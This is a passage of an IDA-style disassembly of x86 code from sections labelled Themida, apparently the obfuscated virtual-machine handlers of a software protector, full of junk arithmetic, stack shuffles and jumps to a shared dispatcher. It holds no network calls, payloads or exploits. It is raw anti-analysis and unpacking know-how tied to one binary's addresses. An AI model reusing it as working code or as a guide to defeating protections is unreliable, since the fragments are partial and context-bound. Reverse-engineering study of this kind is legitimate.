sub cl, 8Bh
xor al, cl
pop ecx
push small 5C8Dh
mov [esp], dx
mov dh, 0D9h
jmp loc_593535
; ---------------------------------------------------------------------------
loc_58A8CE: ; CODE XREF: Themida_:005912D2j
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5911E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58A8E2: ; CODE XREF: sub_590467+1CCDj
add esp, 4
push eax
push esi
mov esi, 6DD02ED4h
xor esi, 432B000Bh
sub esi, 1
jmp loc_58CDB3
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58A8FA: ; CODE XREF: Themida_:00595909j
sub dh, 97h
mov bh, dh
pop edx
push ax
mov al, 90h
sub dl, al
mov ax, [esp]
jmp loc_58C33F
; ---------------------------------------------------------------------------
loc_58A90F: ; CODE XREF: Themida_:00596AF3j
not bh
sub bh, 45h
jmp loc_59075E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58A919: ; CODE XREF: sub_595655-5E72j
add edx, edi
push dword ptr [edx]
pop ecx
mov edx, [esp+0]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
jmp loc_593973
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58A946: ; CODE XREF: sub_5916CB+17B6j
push dword ptr [esp+0]
mov ebp, [esp+4+var_4]
add esp, 4
jmp loc_5949C1
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58A954: ; CODE XREF: Themida_:0058FAECj
and ecx, 70794FC8h
jmp loc_591AC2
; ---------------------------------------------------------------------------
loc_58A95F: ; CODE XREF: Themida_:005958DAj
pop edx
mov esi, edx
pop edx
pop ebx
sub eax, 45CB69C0h
add eax, esi
push ebp
mov ebp, 6C80015h
jmp loc_5900F9
; ---------------------------------------------------------------------------
loc_58A976: ; CODE XREF: Themida_:0058E9E4j
add ecx, ebp
pop ebp
jmp loc_58D976
; ---------------------------------------------------------------------------
mov ax, [esp]
push 53B0h
mov [esp], edi
mov edi, esp
push esi
jmp loc_58C464
; ---------------------------------------------------------------------------
loc_58A992: ; CODE XREF: Themida_:005961E4j
add esp, 4
push cx
push edx
jmp loc_595AEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
loc_58A9A0: ; CODE XREF: sub_592857-7567j
mov ecx, [esp+0Ch+var_C]
jmp loc_58B983
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58A9A8: ; CODE XREF: sub_5916C4+34E3j
add edx, ebp
add edx, 5B8A3F89h
push dword ptr [esp+0]
pop ebp
add esp, 4
jmp loc_58E875
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58A9BC: ; CODE XREF: Themida_:0058F05Cj
not eax
inc eax
jns loc_58F5C0
jmp sub_58E0C4
; ---------------------------------------------------------------------------
sub ebx, 2C425684h
pop edx
mov ax, [esp]
push ebp
push esp
pop ebp
sub esp, 4
mov [esp], esi
mov esi, 2E596B48h
shl esi, 4
sub esi, 0E596B47Ch
add ebp, esi
jmp loc_58E3CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58A9F3: ; CODE XREF: sub_5916C4-4161j
add bl, 76h
shr bl, 5
jns loc_59611D
shl bl, 1
jmp loc_58D919
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
pop esi
shr eax, 2
loc_58AA0A: ; CODE XREF: Themida_:0058F2B1j
push edi
jmp loc_590866
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_58E45A
; ---------------------------------------------------------------------------
loc_58AA1A: ; CODE XREF: Themida_:0058BB5Ej
push ebx
add dword ptr [esp], 1E6C006Fh
mov esi, [esp]
add esp, 4
jmp loc_592DEE
; ---------------------------------------------------------------------------
loc_58AA30: ; CODE XREF: Themida_:0058E2DBj
shr edx, 2
push 6CAh
mov [esp], ebx
mov ebx, 1E512081h
xor edx, ebx
pop ebx
add edx, 0D6CF69C9h
add esi, 2967619Bh
jmp loc_595C40
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
sub esp, 4
mov [esp], ebx
push edi
push 1D585DD0h
pop edi
neg edi
jmp loc_58E608
; ---------------------------------------------------------------------------
loc_58AA6E: ; CODE XREF: Themida_:00595D3Dj
pop edx
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp]
pop esp
jmp loc_593E6F
; ---------------------------------------------------------------------------
loc_58AA8A: ; CODE XREF: Themida_:005912CAj
neg ebx
add ebx, 7CE228D9h
add ecx, ebx
jmp loc_591202
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58AA99: ; CODE XREF: sub_5916C4+1371j
mov esp, [esp-4+arg_0]
mov ax, word ptr [esp-4+arg_0]
sub esp, 4
mov [esp+0], ecx
push esp
mov ecx, [esp+4+var_4]
add esp, 4
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 5C760B6Eh
xor edi, 5C760B6Ah
add ecx, edi
push [esp+4+var_4]
pop edi
add esp, 4
add ecx, 2
xchg ecx, [esp+0]
mov esp, [esp+0]
movzx cx, al
jmp loc_58F892
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58AADC: ; CODE XREF: sub_58C17E+1B3j
mov ecx, 6C487D9Ah
xor [esp+0Ch+var_8], ecx
jmp loc_5966EA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58AAEA: ; CODE XREF: Themida_:0058C144j
mov dl, 0C9h
mov al, dl
pop edx
xor bl, al
mov eax, [esp]
add esp, 4
jmp loc_595997
; ---------------------------------------------------------------------------
loc_58AAFC: ; CODE XREF: Themida_:0058AF39j
add esp, 4
push edx
mov edx, 18B84FD6h
add ebx, edx
pop edx
sub ebx, ebp
push esi
mov esi, 184E24F4h
shr esi, 2
add esi, 62A96D8Ah
jmp loc_58AD7F
; ---------------------------------------------------------------------------
loc_58AB21: ; CODE XREF: Themida_:0058CACBj
or eax, 393511DEh
xor eax, 39BF31DAh
add ecx, eax
pop eax
push ebx
mov ebx, 4
jmp loc_58B9C2
; ---------------------------------------------------------------------------
loc_58AB39: ; CODE XREF: Themida_:00597105j
push 54ABh
mov [esp], ecx
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58AB46: ; CODE XREF: Themida_:0058B2F7j
add bl, 0E6h
sub bl, al
push cx
jmp loc_5947B1
; ---------------------------------------------------------------------------
loc_58AB52: ; CODE XREF: Themida_:0058B7C4j
add edx, 4
xchg edx, [esp]
pop esp
push small 7B03h
mov [esp], bx
mov bx, 57D2h
add ax, 241Fh
jmp loc_592D18
; ---------------------------------------------------------------------------
loc_58AB6E: ; CODE XREF: Themida_:0058A605j
pop edx
or ebp, 71275335h
inc ebp
neg ebp
sub ebp, 77592CBFh
xor ebp, 1A283039h
add eax, ebp
pop ebp
pop esi
add eax, 4
xchg eax, [esp]
mov esp, [esp]
div ecx
sub esp, 4
mov [esp], ecx
mov ecx, esp
push 26B9h
mov [esp], esi
mov esi, 63603EFAh
push ebp
mov ebp, 0ECB55B9h
neg ebp
sub ebp, 53BD03A0h
neg ebp
inc ebp
xor ebp, 10EB2667h
and esi, ebp
pop ebp
shl esi, 8
shl esi, 4
and esi, 19746073h
push ebp
mov ebp, 31CA7B7Dh
jmp loc_596D35
; ---------------------------------------------------------------------------
loc_58ABDC: ; CODE XREF: Themida_:005917DEj
mov eax, 2ACD5BBBh
xor ebx, eax
pop eax
jmp loc_597887
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58ABE9: ; CODE XREF: sub_5916C4+46EDj
push esi
pop edx
pop esi
mov ecx, edx
jmp loc_58DFA0
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
push edi
jmp loc_597DB2
; ---------------------------------------------------------------------------
loc_58AC08: ; CODE XREF: Themida_:00592DC8j
mov [esp], ebp
mov ebp, 4
sub ebx, ebp
jmp loc_58F61F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58AC17: ; CODE XREF: sub_59762D:loc_59781Dj
shr al, 7
shr al, 3
jp loc_595318
xor al, 0F6h
push ebx
mov bl, al
jmp loc_58D8B7
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
pop ebx
mov bh, dh
pop edx
loc_58AC31: ; CODE XREF: Themida_:00596007j
add ebp, 3F48586Fh
jz loc_594FC5
dec ebp
jl loc_595BC4
inc ebp
jl loc_58B1BF
jmp loc_58EACC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58AC50: ; CODE XREF: sub_595BDA:loc_597D69j
shl esi, 2
jmp loc_5962DA
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58AC58: ; CODE XREF: sub_5916C4+4006j
push 3DAC3A88h
mov esi, [esp+0]
add esp, 4
push edx
mov edx, 2C437814h
and edx, 522D5BC8h
shr edx, 4
push ebp
mov ebp, 65032797h
add ebp, 7FF34378h
sub ebp, 0A74A4705h
add edx, ebp
jmp loc_590658
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58AC8B: ; CODE XREF: sub_58C17E+5857j
mov [esp+0Ch+var_C], edx
push ebx
jmp loc_58CB89
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58AC94: ; CODE XREF: Themida_:0058D111j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58ACA3: ; CODE XREF: Themida_:00592DE9j
sub edx, 0E119F207h
add eax, edx
mov edx, [esp]
push edx
push esp
pop edx
jmp loc_591599
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58ACB6: ; CODE XREF: sub_5916CB-345Aj
; sub_590010+10B2j
pop eax
add esi, 4
xchg esi, [esp-8+arg_4]
pop esp
dec [esp-0Ch+arg_8]
pushf
jmp loc_597F6B
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58ACCA: ; CODE XREF: Themida_:0058FD1Ej
mov edi, 26D52C05h
sub ebx, edi
pop edi
dec ebx
jmp loc_58CBFB
; ---------------------------------------------------------------------------
loc_58ACD8: ; CODE XREF: Themida_:005906E1j
sub ebp, 305C9319h
add edx, ebp
pop ebp
jmp loc_58F3D0
; ---------------------------------------------------------------------------
loc_58ACE6: ; CODE XREF: Themida_:00594E87j
pop dword ptr [esp]
jmp loc_58BCF9
; ---------------------------------------------------------------------------
loc_58ACEE: ; CODE XREF: Themida_:0058B104j
push ecx
jmp loc_5965D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58ACF4: ; CODE XREF: sub_595BDA-47D1j
xor cl, 66h
add bl, cl
pop ecx
movzx eax, al
lea eax, [edi+eax*4]
jmp loc_596D28
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_58AD05: ; CODE XREF: Themida_:005919A8j
; Themida_:loc_5979A4j
mov dh, cl
pop ecx
jmp loc_58C376
; ---------------------------------------------------------------------------
loc_58AD0D: ; CODE XREF: Themida_:005931C0j
xchg ecx, [esp]
jmp loc_58E7F9
; ---------------------------------------------------------------------------
loc_58AD15: ; CODE XREF: Themida_:0058C22Ej
push esi
push esp
pop esi
add esi, 4
push edi
mov edi, 2
add esi, edi
push dword ptr [esp]
jmp loc_59439E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58AD2E: ; CODE XREF: sub_58C17E-10D9j
; sub_5965CD-A4FAj
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
mov ebp, 7F2BBDB9h
sub ebp, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
jmp loc_58F609
; ---------------------------------------------------------------------------
loc_58AD53: ; CODE XREF: sub_58C17E+5E55j
sub ecx, 0BB2A04F5h
jmp sub_597716
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58AD5E: ; CODE XREF: sub_58B4D6+6AA5j
push eax
push 428Fh
jmp loc_58B3CA
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5955A6
loc_58AD69: ; CODE XREF: sub_5955A6+1F5Bj
inc cl
add cl, 0C2h
xor cl, 0B6h
jmp sub_58EC96
; END OF FUNCTION CHUNK FOR sub_5955A6
; ---------------------------------------------------------------------------
loc_58AD76: ; CODE XREF: Themida_:0058E54Aj
pop esp
mov [esp], eax
jmp loc_5978AE
; ---------------------------------------------------------------------------
loc_58AD7F: ; CODE XREF: Themida_:0058AB1Cj
dec esi
jmp loc_58B41B
; ---------------------------------------------------------------------------
lodsd
jmp loc_58FB52
; ---------------------------------------------------------------------------
loc_58AD8B: ; CODE XREF: Themida_:0058E7B7j
mov esi, 0DDE0AD60h
add edx, esi
pop esi
sub esp, 4
mov [esp], edx
push edi
mov edi, 3CF60A10h
xor [esp+4], edi
mov edi, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
xor ebx, 3CF60A10h
mov edx, [esp]
add esp, 4
loc_58ADC4: ; CODE XREF: Themida_:00590979j
push eax
mov eax, [esp]
push 0D7h
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 20CA5D1Dh
add ebx, 0DF35A2E7h
add edi, ebx
pop ebx
push ebx
mov ebx, 4
jmp loc_593523
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58ADEC: ; CODE XREF: sub_5916CB+5818j
pop eax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58ADF2: ; CODE XREF: sub_58C17E-689j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+8+var_8]
pop esp
jmp loc_58C320
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58AE07: ; CODE XREF: Themida_:00597336j
pop dword ptr [esp]
add dword ptr [esp], 4
pop ecx
push 45F6h
mov [esp], ebp
mov ebp, 605B1385h
jmp loc_58DCF2
; ---------------------------------------------------------------------------
loc_58AE21: ; CODE XREF: Themida_:005933E1j
sub edi, esi
add edi, 46945948h
mov esi, [esp]
add esp, 4
add eax, edi
pop edi
jmp loc_58DD0B
; ---------------------------------------------------------------------------
loc_58AE3A: ; CODE XREF: Themida_:0059705Dj
pop ecx
mov ebx, [esp]
add esp, 4
jmp loc_58D8F2
; ---------------------------------------------------------------------------
loc_58AE49: ; CODE XREF: Themida_:00597EDEj
push esi
push ebp
mov ebp, 30444E37h
mov esi, ebp
pop ebp
push 0
sub [esp], esi
push dword ptr [esp]
pop esi
add esp, 4
push ebp
mov ebp, 52AA3920h
add esi, ebp
pop ebp
add esi, 73B8716Ch
add esi, 635A2974h
jmp loc_58C8EE
; ---------------------------------------------------------------------------
loc_58AE7F: ; CODE XREF: Themida_:005933EAj
pop ecx
mov [edi+eax*4+1], dl
pop edx
mov ebx, [esp]
add esp, 4
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58AE90: ; CODE XREF: Themida_:005928F9j
pop ebp
pop eax
add eax, 4
jmp loc_58E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58AE9C: ; CODE XREF: sub_590467+1656j
mov ebx, [esp+0]
add esp, 4
xchg eax, [esp-6+arg_0+2]
mov esp, [esp-6+arg_0+2]
movzx ecx, ax
push 21BFh
mov [esp+0], ecx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58AEB8: ; CODE XREF: Themida_:00592AFBj
dec eax
sub eax, 48BA463Dh
shr eax, 5
dec eax
add eax, 20095B11h
add eax, 309DB1ABh
mov edi, eax
jmp loc_5943EB
; ---------------------------------------------------------------------------
loc_58AED3: ; CODE XREF: Themida_:005905F4j
push ebx
mov ebx, 10E9529Ch
shl ebx, 4
jz loc_5975D9
push edx
mov edx, 1D286027h
shr edx, 2
neg edx
push ecx
mov ecx, 345C4EB3h
add edx, ecx
pop ecx
shr edx, 1
neg edx
sub edx, 0A786B5D2h
and ebx, edx
pop edx
shl ebx, 4
push esi
mov esi, 77CD8E05h
xor ebx, esi
pop esi
push ebp
mov ebp, ebx
mov eax, ebp
pop ebp
jmp loc_58BB1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58AF1A: ; CODE XREF: sub_58F5B5+2968j
pop esp
mov [esp+4+var_4], ebx
sub esp, 4
mov [esp+8+var_8], ecx
mov cl, 6Bh
mov bh, cl
jmp loc_595E4C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58AF30: ; CODE XREF: Themida_:00590067j
pop esi
mov ecx, eax
pop eax
sub ebp, ecx
mov ecx, [esp]
jmp loc_58AAFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58AF3E: ; CODE XREF: sub_590B70+330j
xor [esp+4], ebx
pop ebx
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
add esp, 4
push ebp
mov ebp, 50247E69h
push ebx
mov ebx, 345E6392h
dec ebx
xor ebx, 417867F5h
push ebp
jmp loc_5978F6
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58AF7B: ; CODE XREF: sub_5919E2-2AC3j
add esp, 4
pop small word ptr [eax]
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_58AF86: ; CODE XREF: Themida_:00595F96j
sub esi, 0E29FBBBAh
mov edi, esi
pop esi
and edi, 2EE56FF4h
js loc_58A696
or edi, 0FD37D82h
push 5FA6h
mov [esp], edx
mov edx, 17CC394Eh
and edx, 25F72DA4h
sub edx, 0CC1518B2h
jmp loc_595167
; ---------------------------------------------------------------------------
loc_58AFBF: ; CODE XREF: Themida_:0058A2E3j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58AFD0: ; CODE XREF: sub_59524C+2D53j
add ebx, 26473568h
jmp loc_58F7ED
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58AFDB: ; CODE XREF: sub_5916C4-E7Aj
mov bl, 0A9h
jmp loc_58D919
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58AFE2: ; CODE XREF: sub_595123-812Fj
push [esp+4+var_4]
jmp loc_59653F
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5966C1
loc_58AFEA: ; CODE XREF: sub_5966C1+BF6j
bt [esp+0], ax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5966C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58AFF5: ; CODE XREF: sub_5938B9+3450j
mov ecx, 0A08ED1AFh
sub ecx, esi
pop esi
push ebp
mov ebp, 2ABD5B43h
mov esi, ebp
jmp loc_59178F
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58B00A: ; CODE XREF: sub_5EC2E8-56811j
mov ecx, esi
mov esi, [esp+24h+var_24]
jmp loc_58D0BC
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_58B109
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_58B01C: ; CODE XREF: sub_5942E3-3569j
mov [esp+0], esi
jmp loc_59033C
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
push small 2C3Dh
push small 658Eh
mov [esp], sp
push small 705Bh
mov [esp], cx
push dx
jmp loc_595E67
; =============== S U B R O U T I N E =======================================
sub_58B03F proc near ; CODE XREF: sub_5916CB+3CE3j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0058F51B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597577 SIZE 00000008 BYTES
push ebx
push esi
jmp loc_58F51B
sub_58B03F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B046: ; CODE XREF: sub_58C17E+5EE4j
sub esi, 15C7E415h
jmp loc_591E27
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58B051: ; CODE XREF: Themida_:00596819j
xor esi, [esp]
jmp loc_595B3C
; ---------------------------------------------------------------------------
loc_58B059: ; CODE XREF: Themida_:0058C0C8j
push eax
mov eax, 8E65188h
push ecx
mov ecx, 1CDC6C4Fh
xor ecx, 1073469Ch
jmp loc_58C18A
; ---------------------------------------------------------------------------
loc_58B070: ; CODE XREF: Themida_:005927FFj
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_58BCC2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58B085: ; CODE XREF: sub_5EC2E8-5DDE6j
mov edx, ecx
pop ecx
add edx, 0E36DF7FAh
add ebx, edx
jmp loc_58F748
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B095: ; CODE XREF: sub_58C17E+8A6j
js loc_59203B
inc ecx
jg loc_5945E0
shl ecx, 6
jmp loc_58AD2E
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B0AA: ; CODE XREF: sub_590467+3A1j
push 6B68h
mov [esp+0], esi
push esp
jmp loc_58F0C2
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58B0B8: ; CODE XREF: sub_5916CB+5CE9j
add esp, 4
or edi, 72974E0Ah
push ecx
mov ecx, 4D383F75h
or ecx, 32E01353h
xor ecx, 70B47000h
xor edi, ecx
jmp loc_5959A4
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58B0DA: ; CODE XREF: Themida_:00593688j
sub al, 0A2h
mov ebx, [esp]
add esp, 4
push ecx
mov ch, 9Dh
sub al, ch
push dword ptr [esp]
pop ecx
push esi
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
sub dword ptr [esp+4], 26836A92h
add [esp+4], eax
jmp loc_58ACEE
; ---------------------------------------------------------------------------
loc_58B109: ; CODE XREF: Themida_:0058B017j
mov [esp], edi
jmp loc_58F93E
; ---------------------------------------------------------------------------
loc_58B111: ; CODE XREF: Themida_:0058D5D5j
xor dword ptr [esp], 6EC6244Dh
jmp loc_58CA9A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_591B35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B128: ; CODE XREF: sub_590467-658j
push 40D37A09h
jmp loc_597FCA
; ---------------------------------------------------------------------------
loc_58B132: ; CODE XREF: sub_590467+273Dj
xor ebp, 707872DFh
xor ebp, 7A46618Ch
add esi, ebp
pop ebp
jmp loc_591453
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58B146: ; CODE XREF: sub_590B70+6D9Aj
push eax
mov eax, 7B8E27D0h
shl eax, 8
jmp loc_58D946
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594FD6
loc_58B154: ; CODE XREF: sub_594FD6-348Ej
pop eax
mov ecx, [esp+10h+var_10]
jmp loc_58ECCD
; END OF FUNCTION CHUNK FOR sub_594FD6
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6F3Dh
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
jmp loc_594BC8
; ---------------------------------------------------------------------------
loc_58B185: ; CODE XREF: Themida_:0058FEDFj
; Themida_:00592C6Bj
add edi, 2
jmp loc_591506
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B190: ; CODE XREF: sub_58C17E-BC1j
dec esi
add esi, 6AFA2F86h
add esi, 5434DBB6h
sub edx, esi
pop esi
mov ecx, [esp+0]
add esp, 4
mov dword ptr [edi+20h], 3EDF178Bh
xor [edi+20h], edx
mov edx, [esp-4+arg_0]
jmp sub_58D0EB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58B1B8: ; CODE XREF: sub_591059-5992j
add eax, ebx
jmp loc_58DB81
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_58B1BF: ; CODE XREF: Themida_:0058AC45j
; Themida_:005956F3j
pop esi
jmp loc_59600C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B1C5: ; CODE XREF: sub_58F5B5+74Fj
shr ecx, 2
push eax
mov eax, esp
add eax, 4
jmp loc_58E378
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_58B1D5: ; CODE XREF: sub_58E3A6+9j
add edx, 4
xchg edx, [esp+0]
pop esp
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
add edx, 169B1BB5h
push edi
mov edi, 55F74DD2h
or edi, 5C76E09h
and edi, 2BFC7562h
add edi, 47B67286h
jmp loc_58CC4B
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
loc_58B205: ; CODE XREF: Themida_:005904E1j
sub esp, 4
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push edx
push edi
jmp loc_58C0F9
; ---------------------------------------------------------------------------
loc_58B21A: ; CODE XREF: Themida_:0059464Fj
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_58DA90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58B22C: ; CODE XREF: sub_595BDA:loc_593E3Fj
not esi
or esi, 395B5D5Eh
jmp loc_597D69
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58B239: ; CODE XREF: sub_595E21-8B39j
xor eax, ebp
sub esp, 4
mov [esp+0], ecx
jmp loc_591237
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_58B249: ; CODE XREF: sub_5921D8+1A5Bj
mov [esp+0], esp
add dword ptr [esp+0], 4
mov ebx, [esp+0]
add esp, 4
add ebx, 4
add ebx, 4
xor ebx, [esp-4+arg_0]
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
imul ecx, eax
push ecx
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B27B: ; CODE XREF: sub_5916C4+612j
neg ebx
or ebx, 4C66237h
and ebx, 19001798h
xor ebx, 100121Ah
sub edi, ebx
pop ebx
push edi
push dword ptr [esp+4]
pop edi
pop [esp+4+var_4]
pop esp
mov word ptr [esp-4+arg_0], cx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58B2A5: ; CODE XREF: Themida_:00591BEFj
xchg esi, [esp]
pop esp
jmp loc_58A2CE
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58B2B6: ; CODE XREF: Themida_:0059448Bj
pop edi
pop dword ptr [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B2C6: ; CODE XREF: sub_58F5B5+5061j
pop eax
xchg esi, [esp+8+var_8]
jmp loc_596737
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
